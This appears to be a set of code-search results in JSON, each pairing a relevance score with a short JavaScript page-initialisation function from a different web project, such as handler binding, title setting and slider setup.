[ { "docid": "185cad311b2edff6566d4238e0fe5068", "score": "0.8223301", "text": "function init() {\n // Do this when a page loads.\n }", "title": "" }, { "docid": "6aebdab364b833a9496147555b2ffaa8", "score": "0.8014793", "text": "function pageSetUp(){\r\n\t\tpage.init();\r\n\t\tlineGraph.init();\r\n\t\tfilters.init();\r\n\t\tinfoBox.init();\r\n\t\tbarChart.init();\r\n\t\tcolorCodedMap.init();\r\n tour.init();\r\n\t}", "title": "" }, { "docid": "9b3133b67af2325255582343503f4bab", "score": "0.7826296", "text": "function Initialize()\n\t{\n\t\tfetchGlobalVars();\n\t\tPageSetup();\n\t}", "title": "" }, { "docid": "e68d4ff36d71100aaac04e08e0b2be29", "score": "0.78241265", "text": "function _init() {\n\t\t\tPage.setTitle(admin.title);\n\n\t\t\t_activate();\n\t\t}", "title": "" }, { "docid": "79ecca7c8abb8a1afebb07255cbfafb3", "score": "0.7802643", "text": "function init() {\n\t\tconsole.log(\"super-mario-galaxy page init\");\n\t\thideRefreshButton();\n\t\t\n\t\t\n\t}", "title": "" }, { "docid": "6c24c4417a5f9bf176af476b38dc8a8c", "score": "0.77675015", "text": "function initPage(){\r\n\t\t//add head class\r\n\t\t$(\"#headAssemblyLi\").addClass(\"active\");\r\n\t\t$(\"#leftNodeSelectLi\").addClass(\"active\");\r\n\r\n\t\tresetPage();\r\n\t\t$(\"#messageAlert\").hide();\r\n\t}", "title": "" }, { "docid": "371d56e4cfbd2777d76154fb00de18e1", "score": "0.775995", "text": "function initWhenPageLoaded() {\n \n}", "title": "" }, { "docid": "aebb79eb9202e9a77ec914ead4a32ea3", "score": "0.775164", "text": "function pageInit(pageData) {\n\n\n } // end pageInit", "title": "" }, { "docid": "0e92f1bb21e2bb1a9626f192dc6b1095", "score": "0.7738918", "text": "function _init() {\n\t\t\tPage.setTitle('Login');\n\n\t\t\t_activate();\n\t\t}", "title": "" }, { "docid": "686ed57a5869ac0e75a411ce16de0ae8", "score": "0.7728122", "text": "function initPage(){\r\n\t\t//add head class\r\n\t\t$(\"#headAssemblyLi\").addClass(\"active\");\r\n\t\t$(\"#leftNodeSelectLi\").addClass(\"active\");\r\n\t\tresetPage();\r\n\t\t$(\"#messageAlert\").hide();\r\n\t}", "title": "" }, { "docid": "686ed57a5869ac0e75a411ce16de0ae8", "score": "0.7728122", "text": "function initPage(){\r\n\t\t//add head class\r\n\t\t$(\"#headAssemblyLi\").addClass(\"active\");\r\n\t\t$(\"#leftNodeSelectLi\").addClass(\"active\");\r\n\t\tresetPage();\r\n\t\t$(\"#messageAlert\").hide();\r\n\t}", "title": "" }, { "docid": "99d4b4a11317b4d4856099f83e344ff4", "score": "0.76773036", "text": "function init(){\n\tcreateTables();\n\tinitPopulate();\n\tmenuPopulate();\n\tshowHomePage();\n\t//createJSON();\n}", "title": "" }, { "docid": "e5bda88603073ac77d20053f4fc37515", "score": "0.763576", "text": "function init(){\n\t\tshowPage(\"about\");\n\t\tshowExport(\"false\");\n\t}", "title": "" }, { "docid": "b4b1e2bbe5640b227b028f4f4925bf44", "score": "0.7608945", "text": "function pageReady() {\n // START YOUR PAGE INITIALIZATION CODE HERE.\n\n\n // END YOUR PAGE INITIALIZATION CODE HERE.\n}", "title": "" }, { "docid": "9fff36d9076854638192d3d3be5e0759", "score": "0.7608793", "text": "function init() {\n // add_page button to open the dialog for creating a new page\n $( \"#add_page\" )\n .button({ \n text: false,\n icons: {primary:'ui-icon-plusthick'} \n })\n .click(function() {\n $dialog.dialog( \"open\" );\n })\n .show();\n\n pageMenu.init();\n }", "title": "" }, { "docid": "0a4916161ca19ebde17dcb6be2e0e491", "score": "0.7576585", "text": "function init() {\n //makePageElements();\n getSummary();\n}", "title": "" }, { "docid": "1920580152e89c830869f996cbf5717c", "score": "0.7568793", "text": "function _init() {\n\t\t\t// set page <title>\n\t\t\tPage.setTitle(e404.title);\n\t\t}", "title": "" }, { "docid": "44668a1c278d6c46574f1e60c799740e", "score": "0.7561246", "text": "function pageSetup() {\n\tnavbar();\n\tstatusBoxes();\n}", "title": "" }, { "docid": "2db82d3567c200d3c36228279ed6db8e", "score": "0.75456655", "text": "function initializePage(){\n addUsers();\n let startID = '940'\n buildBar(startID);\n buildBubble(startID);\n buildMetadata(startID);\n buildGauge(startID);\n}", "title": "" }, { "docid": "60fac8847985a1c33cf50bf111a8c2d5", "score": "0.7541467", "text": "function initializePage() {\n //initialize values that will be stored in local or session storage\n if(localStorage['iSpyPage'] == undefined)\n localStorage['iSpyPage'] = 1;\n\n if(localStorage['journal_hasArrows'] == undefined)\n localStorage['journal_hasArrows'] = true;\n if(localStorage['journal_hasTitle'] == undefined)\n localStorage['journal_hasTitle'] = true;\n if(sessionStorage['journal_page'] == undefined)\n sessionStorage['journal_page'] = 1;\n\n if(sessionStorage['lookingGlass_isSelected'] == undefined)\n sessionStorage['lookingGlass_isSelected'] = false;\n\n //Initialize the I Spy page that will be shown\n //I Spy pages are maintained across browser sessions\n var pageNumber = Number(localStorage['iSpyPage']);\n goToPage(pageNumber);\n\n //Initialize the journal page appropriate for that I Spy Page\n //Journal pages are reset every browser session\n}", "title": "" }, { "docid": "8d05e13669a22a314977ab8ab59b05ff", "score": "0.75039023", "text": "function initialisePage()\n {\n \tsetSwitchFocus();//focuses on an page element so keypress works\n hideFlash();\n \t\n }", "title": "" }, { "docid": "5e5ce1ac955902e284cbd151de691683", "score": "0.7486124", "text": "function initialise()\n{\n\tif (parent.nav) {\n\t\ttop.pageType = top.STORYBOARDFOUR;\n\t\tparent.nav.initPageType();\n\t\tif (top.mainWindow)\n\t\t\ttop.currentState.unit.navArray[top.currentState.unit.currentPage][1] = top.VISITED;\n\t}\n\tif(imagePath){preloadImages();}\n\tif(timedReveal&&(!revealOnAudioEnd))\n\t{\n\t\trevealInterval = window.setInterval(\"timedRevealNextCell()\",(revealTime*1000));\n\t}\n\tdocument.body.scroll = \"no\";\tparent.contentLoaded = true; // This is to tell the program that this page have been loaded.\n}", "title": "" }, { "docid": "c4b39496fb35235458ae79928b7c025d", "score": "0.74722195", "text": "function initializePage() {\n // Resets screen\n performScroll();\n document.getElementById(\"search-btn\").addEventListener(\"click\", search);\n document.getElementById(\"add-btn\")\n .addEventListener(\"click\", addDefinitionToList);\n listenToNav();\n }", "title": "" }, { "docid": "81d708d919a6db4fdc548b10ad50f636", "score": "0.7463665", "text": "function initializePage() {\n // Add listeners\n $(\".category\").click(setActiveCategory);\n $(\"#menu-toggle, .sidebar-nav li a\").click(toggleMenu);\n\n $(\"#edit-button\").click(editInfo);\n $(\"#save-button\").click(saveInfo);\n\n $(\".delete-active\").click(deleteInfo);\n\n $(\"#info\").click(switchInfo);\n $(\"#likes\").click(switchLikes);\n $(\"#dislikes\").click(switchDislikes);\n}", "title": "" }, { "docid": "8ebe02193cdb92bc9775b8b25eb22901", "score": "0.74457836", "text": "function initOnDOMReady(){\n console.log('DOM Ready');\n\n // init the page template\n if (pageData.isSingle()){\n if (pageData.isTemplateNameLike('listing-wide')){\n pageTemplate = new PageTemplateListingWide();\n } else {\n pageTemplate = new PageTemplateSingle();\n }\n } else if (pageData.isHome()){\n pageTemplate = new PageTemplateHome();\n } else {\n pageTemplate = new PageTemplate();\n }\n console.log('pageTemplate init', pageTemplate);\n }", "title": "" }, { "docid": "c446d20211cdb9b9b4e59bc3c26c27d6", "score": "0.7444348", "text": "function initStructure(){\n\t\t//set page details\n\t\t//$(\"header.main\").html(appName);\n\t\t$(\"header.main\").html(appLogo + appName);\n\t}", "title": "" }, { "docid": "9b2c6c6b063c3e0068530f50864b039e", "score": "0.7439775", "text": "function init(){\n setPage(nodes[0].page);\n}", "title": "" }, { "docid": "659ff0037cea31442b44075babbbc5c1", "score": "0.7437847", "text": "function init () {\n\tloadContent();\n\n \n}", "title": "" }, { "docid": "32ab43cfc19e16bac7b89067feeff45e", "score": "0.7412409", "text": "function init() {\n\n\n\t\t}", "title": "" }, { "docid": "cc0cfe1a965c522b0d07595f556ee9b8", "score": "0.7347198", "text": "function init() {\t\n\tif (document.getElementById('page').className.match('form')) { //setting some options on page if a form.\n\t\tformUtils();\n\t}\n}", "title": "" }, { "docid": "cc0cfe1a965c522b0d07595f556ee9b8", "score": "0.7347198", "text": "function init() {\t\n\tif (document.getElementById('page').className.match('form')) { //setting some options on page if a form.\n\t\tformUtils();\n\t}\n}", "title": "" }, { "docid": "ad6392dc36195669543412ef5cd72f89", "score": "0.7345957", "text": "function initialPages($) {\n\t\tslidesModules();\n\t\tcheckedModules();\n\t\tonCheckHndlr();\n\t\tUpdateModule();\n\t}", "title": "" }, { "docid": "1ac14c9deff63726a8a145d295440fb6", "score": "0.7317781", "text": "function initializePage(){\n\t $('.sidebar-expander').click();\n\t $('.sidebar-display-map').click();\n\n\t // initial modal\n\t $('.modal-trigger').leanModal();\n\t}", "title": "" }, { "docid": "7a08fa200a46bcccaa2e050377227504", "score": "0.73165405", "text": "function onsInit(event) {\r\n\t\t\t//properties - initial page load\r\n\t\t\tvar page = event.target;\r\n\t\t\tconsole.log(\"page-event=\"+page.id);\r\n\t\t\t//load main menu and navigation\r\n\t\t\tonsMenu(page);\r\n\t\t\t//create note\r\n\t\t\tcreateNote(page);\r\n\t\t}", "title": "" }, { "docid": "b2481fceb08d2d6687f366ce7a0e330d", "score": "0.7276702", "text": "function init () {\n if (!isHomePage) return\n bindUIEvents()\n }", "title": "" }, { "docid": "05b8b8a8be66c927f7c47576db58872d", "score": "0.72713894", "text": "function init(){\n\t\t\n\t\tnavToggle();\n\t\t//setFootnotes(footnotesTarget);\n\t}", "title": "" }, { "docid": "2826a6e8789d0c05512ef2656b2b8c71", "score": "0.726743", "text": "function PageInit(title,tree, fCacheToggles) {\n\tvar i = arguments.length;\n\tif (self == parent) document.getElementById('divFrameset').style.display='block';\n\tif (i > 1 && (tree)) explorerTreeRefresh(tree);\n\tif (i < 3 || fCacheToggles) InitToggleTree();\n\n if (self == parent || self == mytop) {\n\t\t// redirect to the home page with the current page in query string\n\t\tvar beginWebFileName = location.pathname.lastIndexOf('/');\n\t\tvar beginFileName = location.pathname.lastIndexOf('\\\\');\n\t\tvar fileName; \n\t\tif (beginFileName < beginWebFileName) {\n\t\t\tfileName = location.pathname.substring(beginWebFileName + 1);\n\t\t} else {\n\t\t\tfileName = location.pathname.substring(beginFileName + 1);\n \t\t}\t\n\t\t\n\t\tmytop.location = 'default.htm?page=' + fileName;\n\t}\n\tshowLastModified();\n\tif (i > 0) mytop.document.title = title;\n}", "title": "" }, { "docid": "9a6ff6314a414859a451a77804742433", "score": "0.72668433", "text": "function init() {\n context = stringToElem(htmlTemplate);\n document.body.appendChild(context);\n\n contextScrollPaneElement = context.querySelector(\".js-panel-scroll-pane\");\n contextPageContentElement = context.querySelector(\".js-panel-content\");\n contextPageTitleElement = context.querySelector(\".js-panel-title\");\n\n if (settings.indentedContent) setContent(settings.indentedContent) else setContent(settings.content)\n if (settings.direction) setDirection(settings.direction);\n if (settings.title) setTitle(settings.title);\n if (settings.footerContent) setFooterContent(settings.footerContent);\n\n setOpenHandler();\n\n getActionContext().disabled = true\n getActionContext().removeAttribute(\"title\")\n\n subscription = Elemental.pubSubClient.subscribe(Events.events, Viewport.responsiveEvent, function (data) {\n if (data.viewport !== Viewports.MOBILE && context.classList.contains(\"is-active\")) closeHandler();\n })\n\n if (isCurrentView() && !isOpened()) setHistory();\n window.addEventListener(\"hashchange\", hashChangeHandler)\n }", "title": "" }, { "docid": "551a8bebedc522fe0fdf65c0634427ce", "score": "0.7263104", "text": "function initializePage() {\n\t$(\"#loginBtn\").click(goToLogin);\n\t$(\"#registerBtn\").click(goToRegister);\n\n\n\t$(\"#loginForm\").submit(goToGame);\n\t$(\"#backButtonI\").click(goToIndex);\n\t$(\"#backButton\").click(goToGameB);\n\t$(\"#backButton3\").click(goToBack);\n\n\t$(\"#userAnimal\").click(goToStatus);\n\t$(\"#zooButton\").click(goToZoo);\n\t$(\"#settingsButton\").click(goToSettings);\n\n\t$(\"#userAnimal2\").click(goToStatus);\n\t$(\"#zooButton2\").click(goToZoo);\n\t$(\"#settingsButton2\").click(goToSettings);\n\n\t$(\"#helpIcon\").click(goToHelp);\n\t$(\"#helpIcon2\").click(goToHelp2);\n}", "title": "" }, { "docid": "d490190ef17bf5538aeb99dcbc8130d6", "score": "0.72395724", "text": "function firstInit(data) {\n\t//Setting layout of the page from the config\n\tlet layout = new Layout(data.config.Templates);\n\t\t\tlayout.pageLayout; //Calling class getter\n\t\t\tlayout.createSortableNavItems(); //Calling class method\n\n\t//Setting main navigation of the page from the config\n\tlet navigation = new Navigation(data.config.Navigation);\n\t\t\tnavigation.mainNavigation;\n\n\t//Setting body background image based on the partener ID\n\tlet bodyBackgroundImage = new BodyBgImage(data.config.Partner.id);\n\t\t\tbodyBackgroundImage.bodyBgImg;\n\n\t//Setting Pricing plans layout based on config data\n\tlet pricingPlansLayout = new PricingPlans(data.config.Plans);\n\t\t\tpricingPlansLayout.plansLayout;\n\n\t//Setting table body background color based on the color ID\n\tlet tableBackgroundColor = new TableBgColor(data.config.TableColor.id);\n\t\t\ttableBackgroundColor.tableBgColor;\n}", "title": "" }, { "docid": "747e38c1d6709e8a94f5eaeff2ebd080", "score": "0.7226311", "text": "function mainInit(){\n mod_sceneGraph.initSceneGraph();\n\n //jQuery.mobile.changePage( \"#objBrowser\", { transition: \"slideup\"} );\n //jQuery.mobile.changePage( \"#objBrowser\" );\n\n // set the top padding of the content container to the height of the header\n jQuery(\"#contentContainer\").css(\"padding-top\", jQuery(\".ui-header\").height() + \"px\");\n\n // module registration\n mod_menu = modules(\"menu\");\n mod_TabManager = modules(\"tabManager\");\n\n // module initialisation\n jQuery.get(\"static/data/menu.txt\", mod_menu.init, \"json\");\n registerEventListenerMenu(mod_menu);\n mod_TabManager.init();\n}", "title": "" }, { "docid": "2d7388297bf4e0bc3328d183ea73f399", "score": "0.72184247", "text": "function _init() {\r\n\t\t\tPage.setTitle('Home');\r\n\r\n\t\t\t_activate();\r\n\r\n\t\t\t// setup mediaquery functions defining home.viewformat\r\n\t\t\t$scope.$on('enter-mobile', _enterMobile);\r\n\t\t\t$scope.$on('exit-mobile', _exitMobile);\r\n\t\t}", "title": "" }, { "docid": "ad5a451f0c582b8f548f73ec45e9ed45", "score": "0.7216298", "text": "function init() {\r\n\r\n\t\t\tsetTemplates();\r\n\t\t\tbindEventHandlers();\r\n\r\n\t\t\t$moreBtn = $(jrtmpl(tmpl.morebtn, {\r\n\t\t\t\ttext: o.texts.loadMoreText\r\n\t\t\t}));\r\n\r\n\r\n\t\t\tvar item = null,\r\n\t\t\t\titemToLoad = getItemFromHash();\r\n\r\n\t\t\tif (itemToLoad) {\r\n\t\t\t\t//load an item slider\r\n\t\t\t\titem = {\r\n\t\t\t\t\tslug: itemToLoad,\r\n\t\t\t\t\tslider: true\r\n\t\t\t\t};\r\n\t\t\t\tcurrentItem = item;\r\n\t\t\t\tloadItemContent(item);\r\n\t\t\t\tgalleryUrl = window.location.href.split('#')[0];\r\n\t\t\t} else {\r\n\t\t\t\t//load the gallery\r\n\t\t\t\tloadGallery();\r\n\t\t\t}\r\n\r\n\t\t}", "title": "" }, { "docid": "7e1bd7455525b743607e7045b47912b4", "score": "0.72146016", "text": "function initPage() {\n\n articleContainer.empty();\n $.get('/api/headlines?saved=true').then(function(data) {\n\n if(data && data.length) {\n renderArticles(data);\n }\n else {\n renderEmpty();\n }\n });\n }", "title": "" }, { "docid": "fb838e4d5c48f03f0abb3457086133dc", "score": "0.7209502", "text": "function initialization(){\n\t \t$('#fullpage').fullpage({\n\t anchors: ['1stPage', '2ndPage', '3rdPage', '4thPage', '5thPage', '6thPage'],\n\t resize: false,\n\t\t animateAnchor: false,\n\t\t\tautoScrolling: false,\n\t\t\tscrollingSpeed: 900,\n\t\t\tfitToSection: false,\n\t\t\tnavigation: false,\n\t\t\tpaddingTop: '0px',\n\t });\n \t}", "title": "" }, { "docid": "031c4cd7b82b17f3a70a51afd9bbab8e", "score": "0.7193825", "text": "function initPage() {\n articleContainer.empty();\n $.get(\"/api/headlines?saved=false\")\n .then(function(data) {\n if (data && data.length) {\n renderArticles(data);\n } else {\n renderEmpty();\n }\n });\n }", "title": "" }, { "docid": "d87abbbdc62010722a5902fdd2053f82", "score": "0.71875703", "text": "function initialisePage() {\n\tfillKeyboard();\n\tpickRandomAudio();\n}", "title": "" }, { "docid": "6a6abf54790c4042e598b7ed9c4951a5", "score": "0.7179858", "text": "static init_first_page() {\n\n if (!PageController.items.length) { PageController.new_page() }\n else { PageController.on_click_page(PageController.items[0].id) }\n }", "title": "" }, { "docid": "874332de64b714655c70c188e4758b70", "score": "0.7177994", "text": "static init() {\n objectFitImages();\n initSliders();\n initContactBlock();\n showMore();\n new Header;\n }", "title": "" }, { "docid": "10a6124096a1a95b089f7e5ec3f31a2f", "score": "0.71738434", "text": "initialize() {\r\n\r\n // get current lang\r\n var currentLang = session.get( 'settings', 'locale' ) || session.get( 'settings', 'lang' );\r\n\r\n // setup language\r\n var lang = Language.name[currentLang] ? currentLang : 'en-us';\r\n\r\n // get last visited page\r\n var oldPage = session.get( 'cache', 'page' );\r\n\r\n // check location hash\r\n if ( global.location.hash !== 'index' ) {\r\n if ( oldPage == 'settings' ) {\r\n\r\n // force user to start on index page\r\n oldPage = 'index';\r\n }\r\n\r\n // update location hash\r\n global.location.hash = oldPage;\r\n }\r\n\r\n // define app state\r\n var appState = {\r\n lang: lang, // current language\r\n full: true, // render full top view\r\n popup: false, // popup state\r\n loaded: true, // page loaded\r\n pageName: oldPage, // cached page name\r\n fadeInMs: 100, // fade in duration\r\n fadeOutMs: 10, // fade out duration\r\n popupType: true, // dialog type. true -> can be manually hidden, false -> cannot be manually hidden\r\n connection: session.get( 'app', 'connection' )\r\n };\r\n\r\n // update options\r\n assign( this, {appState: appState} );\r\n\r\n // create top view instance\r\n this.topView = new TopView( appState );\r\n }", "title": "" }, { "docid": "c50b16b31c6b7b56c6a570084b1658ce", "score": "0.71658", "text": "function pageOnLoad() {\n }", "title": "" }, { "docid": "31b50dfc8e8374d9bdf8de0a020401e7", "score": "0.71600676", "text": "function init() {\n\n }", "title": "" }, { "docid": "90b8882b3b91016a0a020be3018183dc", "score": "0.7158887", "text": "function init() {\n if (!checkCompatibility()) return; //stop execution\n loadMovies();\n loadConfig();\n if (MOVIEAPP.uihelpers.isFirstVisit()) window.location = (\"\" + window.location).replace(/#[A-Za-z0-9_]*$/, '') + \"#welcome\";\n setupSettingsUI();\n\n run();\n}", "title": "" }, { "docid": "40c2a32e6d7eb7dc6804b3be4547c23d", "score": "0.7158448", "text": "function init() {\n\t\n}", "title": "" }, { "docid": "40c2a32e6d7eb7dc6804b3be4547c23d", "score": "0.7158448", "text": "function init() {\n\t\n}", "title": "" }, { "docid": "b8e96d55a3aa99dc4ccecb56d14f6894", "score": "0.71540433", "text": "function initPageAccueil() {\t\t\t\t\n\t\tbackground = new Background('images/menu.jpg');\n\t\tstart_tab = new MenuTab('images/start.png', 248, 59, 837, 727);\n\t\texit_tab = new MenuTab('images/exit.png', 186, 61, 864, 824);\n\t}", "title": "" }, { "docid": "0c604ae40422feea3acd5f3ffe2d19f9", "score": "0.71399605", "text": "function init() {\n\n\n }", "title": "" }, { "docid": "fe8d9c2155515efbf18166b99d95ffbe", "score": "0.7128939", "text": "function initializePage() {\n\tvar mainBeacon,\n\t\tinviteLink;\n\t\n\tFREE.Facebook.init();\n\t\n\tmainBeacon = FREE.MainBeacon;\n\tmainBeacon.init();\n\tmainBeacon.run();\n\t\n\tinviteLink = FREE.InviteLink;\n\tinviteLink.init();\n\tinviteLink.registerEventHandlers();\n}", "title": "" }, { "docid": "5438dd84c065294f5cdec24222628953", "score": "0.7126494", "text": "function initializePage() {\n\t// add any functionality and listeners you want here\n\t$('div.clickable').click(function(e) {\n\t\tvar id = $(this).attr('id');\n\t\tvar idNumber = id.substr('host'.length);\n\t\t$('#modal-dialog' + idNumber).modal('show');\n\t});\n\n\t// $(\"button.schedule\").click(actionClicked);\n\t// $(\"input.accept\").click(actionClicked);\n\t// $(\"input.reject\").click(actionClicked);\n}", "title": "" }, { "docid": "588cb50bd2d9084338cf258b65d15226", "score": "0.7119628", "text": "function init() {\n\n var page = $('main').attr('id');\n\n switch (page) {\n case 'home':\n init_home();\n break;\n default:\n init_header();\n break;\n }\n}", "title": "" }, { "docid": "3354576f8d104f4efa085523698babe3", "score": "0.7117623", "text": "function initialise() {\r\n\taddTransMsgs(); // append elements (which will display translation status messages) to page\r\n\tbuildChunkedContent(); // create a local 'cache' of chunked content to be translated\r\n\tgetLangCookie(); // find out the current site language (if known)\r\n\tgetLangs(); // display listbox containing all languages the site can be translated into\r\n\r\n\t// if the original languages should be shown, end function.\r\n\tif(GL_curLang == \"orig\") {\r\n\t\treturn;\r\n\t}\r\n\t\r\n\t// otherwise, start the translation\r\n\tstartTranslation();\r\n}", "title": "" }, { "docid": "1dbf5940d6f4619681da3d2096e7e2cc", "score": "0.71163106", "text": "function init_home() {\n\n init_header();\n init_slideShow();\n trigger_onScreenEl();\n}", "title": "" }, { "docid": "623d3e8001d6515d0d908879bdcff5b8", "score": "0.7116248", "text": "function init() {\n\n var flowHelper = new FlowHelper();\n var pageEnvelope = flowHelper.getPageEnvelope(cocoon);\n\n var contextPath = pageEnvelope.getContext();\n var publication = pageEnvelope.getPublication();\n var publicationDirectory = publication.getDirectory();\n\n var documentURL = pageEnvelope.getDocument().getCompleteURL();\n\n var publicationURL = \"http://\" + cocoon.request.getServerName() + \n \":\" + cocoon.request.getServerPort() +\n contextPath + \"/\" + publication.getId();\n \n cocoon.log.error(\"PublicationURL: \" + publicationURL );\n\n var packageStorePath = publicationDirectory + \"/\" + PACKAGE_STORE_PATH;\n var installDirectoryPath = publicationDirectory + \"/\" + INSTALL_DIRECTORY_PATH;\n\n var manager = new LayoutManager(packageStorePath, installDirectoryPath, publicationURL);\n manager.openWindow();\n\n cocoon.redirectTo(documentURL);\n\n}", "title": "" }, { "docid": "50fb3644dffaea30c337e452d3c5b198", "score": "0.71160966", "text": "function pageReady(){\n legacySupport();\n // updateHeaderActiveClass();\n // initHeaderScroll();\n\n initPopups();\n initSliders();\n initTeleport();\n initScrollMonitor();\n initMasks();\n // initLazyLoad();\n\n // development helper\n _window.on('resize', debounce(setBreakpoint, 200))\n\n // AVAILABLE in _components folder\n // copy paste in main.js and initialize here\n\n // initTeleport();\n // parseSvg();\n // revealFooter();\n // _window.on('resize', throttle(revealFooter, 100));\n }", "title": "" }, { "docid": "0a0d3d35354aa7f2c71af45235d8fa33", "score": "0.71091354", "text": "function Init(){\n\tPieInIE();\n\tMainNav();\n\tMainNavSetFlyoutWidth();\n\tSetEqualHeights();\n\tShadowsAndCorners();\n}", "title": "" }, { "docid": "b7b839be4c122e21a0b08e288897d52f", "score": "0.71089613", "text": "function init() {\n\t// grab all of the project buttons\n\tprojButtons = document.querySelectorAll('.projButton');\n\t// grab the project info pane and overlay\n\tprojInfo = document.querySelector('.projectContainer');\n\t// grab the page header so we can modiy its text\n\tpageHeader = document.querySelector(\"#pageTitle h1\");\n\t\n\t// and add a callback for each project button to load their respective page\n\tfor (var i = 0; i < projButtons.length; ++i) {\n\t\t\n\t\t// grab href and use it to set background image\n\t\tvar href = projButtons[i].getAttribute('data-href').replace(new RegExp(\" \", 'g'), \"\");\n\t\tprojButtons[i].firstChild.nextSibling.style.backgroundImage = \"url('../media/\" + href + \"/tile.png')\";\n\t\t\t\n\t\t// make each tile load its respective content\n\t\tprojButtons[i].addEventListener('click', function(e) {\n\t\t\tvar href = e.target.getAttribute('data-href');\n\t\t\tloadPage(href);\n\t\t});\n\t}\n}", "title": "" }, { "docid": "8510bd1cbbef5984f7a4b1203638ebe8", "score": "0.7108477", "text": "function page_init() {\n var params = window.location.search.substring(1).split(\"&\");\n $.each(params, function(index, value) {\n if (value.split('=')[0] != \"viewlet\" && value.split('=')[0] != \"reportlet\" && value.split('=')[0] != \"restParam\") {\n parentParams[value.split('=')[0]] = value.split('=')[1];\n }\n });\n if (this.frCommon.validFlag(parentParams.__parameters__)) {\n var parentParams_ = JSON.parse(this.decodeURI(parentParams.__parameters__));\n if (frCommon.validFlag(parentParams_.viewlet)) {\n delete parentParams_.viewlet;\n delete parentParams_.restParam;\n }\n if (frCommon.validFlag(parentParams_.reportlet)) {\n delete parentParams_.reportlet;\n delete parentParams_.restParam;\n }\n parentParams = {};\n parentParams = parentParams_;\n getSheetList();\n }\n}", "title": "" }, { "docid": "100bbd1f1881327abe1cc111d1306315", "score": "0.7103428", "text": "function init(){\n writeCoupertItemOnBody();\n clearCookieAndCache();\n topAddEventListener();\n showPanelWhenVisitSiteWelcomePage();\n }", "title": "" }, { "docid": "2830fa75478ed596dae98bbb3d0e6568", "score": "0.708946", "text": "init(){\n\n const $self = this;\n\n let $templateInfo = $self.determinePage();\n\n if(!$self.renderTemplate($templateInfo)){\n\n return;\n }\n\n if(!$self.getDomElements()){\n\n return;\n }\n\n $self.attachDomElementEvents();\n }", "title": "" }, { "docid": "9e8cb267912503ea9c6936cb23a1405a", "score": "0.7087676", "text": "function init() {\r\n\treplaceMain(\"header\",'<a href=\"https://sonicianova.github.io/home\"><img src=\"https://images.cooltext.com/4699727.png\" id=\"main_logo\" alt=\"SoniciaNova\" /></a>');\r\n\treplaceMain(\"navbar\",'<a class=\"nav_link\" href=\"https://sonicianova.github.io/games\"><div class=\"nav_button\">GAMES</div></a><a class=\"nav_link\" href=\"https://sonicianova.github.io/home\"><div class=\"nav_button\">HOME</div></a><a class=\"nav_link\" href=\"https://sonicianova.github.io/programs\"><div class=\"nav_button\">PROGRAMS</div></a>');\r\n\treplaceMain(\"container\",'<h1 class=\"title\">Press the Arrow</h1><div class=\"dividerMain\"></div><br><br><div id=\"gameContainer\"></div><div id=\"dummy\"></div>');\r\n\tload();\r\n}", "title": "" }, { "docid": "e41b1e1dc81266e19a8e8a6f07c6a3a2", "score": "0.70866877", "text": "function initializePage() {\n\tconsole.log(\"Page Ready\");\n\t// add any functionality and listeners you want here\n\t//$('#classfield').change(toggleUniReqButton);\n\t$('#programfield').change(toggleMajorField);\n\t$('#majorfield').change(toggleConcentrationField);\n\t$('#trackfield').change(toggleMajorButton);\n}", "title": "" }, { "docid": "d06d98f8b60758b38f5671b12c0b1741", "score": "0.70851743", "text": "function init() {\r\n\r\n\t\t\t//Check Support S-service events by kihun\r\n\t\t\tdeleteSupportSservice();\r\n\r\n\t\t\tnew ss.PDPStandard.PDPFeaturesController();\r\n\r\n\t\t\tnew ss.PDPStandard.PDPAccessories();\r\n\r\n\r\n\r\n\t\t\tnew ss.PDPStandard.PDPThreeSixty();\r\n\r\n\t\t\tnew ss.PDPStandard.PDPGallery();\r\n\r\n\t\t\t//new ss.PDPStandard.PDPKeyVisual();\r\n\r\n\r\n\r\n\t\t\tif ($('.media-module').find('.sampleimages').length > 0) {\r\n\r\n\t\t\t\tnew ss.PDPStandard.PDPSampleImages();\r\n\r\n\t\t\t}\r\n\r\n\r\n\r\n\t\t\tcurrentMetrics = ss.metrics;\r\n\r\n\r\n\r\n\t\t\tbindEvents();\r\n\r\n\t\t\theroSize();\r\n\r\n\t\t\tthrottleCarousel();\r\n\r\n\r\n\r\n\t\t\tnew ss.PDPStandard.PDPCommon();\r\n\r\n\t\t\tnew ss.PDPStandard.PDPCommonSEC();\r\n\r\n\t\t\tnew ss.PDPStandard.PDPeCommerceWOW();\r\n\r\n\r\n\r\n\t\t}", "title": "" }, { "docid": "85d8f4371e8aebe7994e8a697d3705c2", "score": "0.7085133", "text": "function init() {\n\t\tapplySettings();\n\t\tpopulateHTML();\n\t\teventHandler();\n\n\t\t// Set the initial menu item\n\t\tself.setSelectedMenu(settings.initialMenuItem);\n\t}", "title": "" }, { "docid": "0de8a6ebdd9363958e63b27ba031c0b8", "score": "0.70817006", "text": "function init() {\n // document.querySelectorAll(\"[data-swup-transition='project']\").forEach(link => new HoverImgF(link));\n\n\n document.querySelectorAll('[data-swup-preload]').forEach(link => {\n const url = link.getAttribute(\"href\");\n swup.preloadPage(url);\n })\n\n ScrollTrigger.refresh();\n\n lastScrollTop = 0;\n\n if (projectLink != null) {\n gsap.to(projectLink, 0.5, {\n alpha: 0,\n delay: 0.5,\n onComplete: () => {\n projectLink.remove();\n enableBodyScroll();\n }\n })\n } else {\n enableBodyScroll();\n }\n menu.showBar();\n}", "title": "" }, { "docid": "f4ad32281edbe13485bfeb84de6d5bbc", "score": "0.70740354", "text": "function initialize() {\n console.log('init');\n \n activateSliders();\n extraInfoAgenda();\n //toglerNav();\n }", "title": "" }, { "docid": "c26d9a308aa11ce2f0210f331e0a0090", "score": "0.70731646", "text": "function init() { }", "title": "" }, { "docid": "cf90bc8d874a404ed99b9a23706ad821", "score": "0.7072022", "text": "init(){\r\n this.logger.log( this.LOG_PREFIX, 'Initializing' );\r\n \r\n // cache all elements that will be used by this Class\r\n this.els.$shell = $(this.templates.EXAMPLE_TEMPLATE({\r\n cssClassPrefix: this.cssClassPrefix,\r\n jsPrefix: this.jsPrefix.replace('.', ''),\r\n navURLs: [\r\n {\r\n url: 'http://example.com',\r\n label: 'Example'\r\n }\r\n ],\r\n props: {\r\n fu: this.randomProp,\r\n unimportant: true\r\n }\r\n }));\r\n this.els.$navItems = this.els.$shell.find( this.selectors.NAV_ITEM );\r\n this.addListeners();\r\n }", "title": "" }, { "docid": "beba0cc606dddcced070d8958e2c4ac6", "score": "0.70718145", "text": "function initalize() {\n\t\t\n\t}", "title": "" }, { "docid": "91ac02e05625f99ad1ded7f3a9d9db01", "score": "0.70687723", "text": "function initIndexPage(){\n\tvar self = 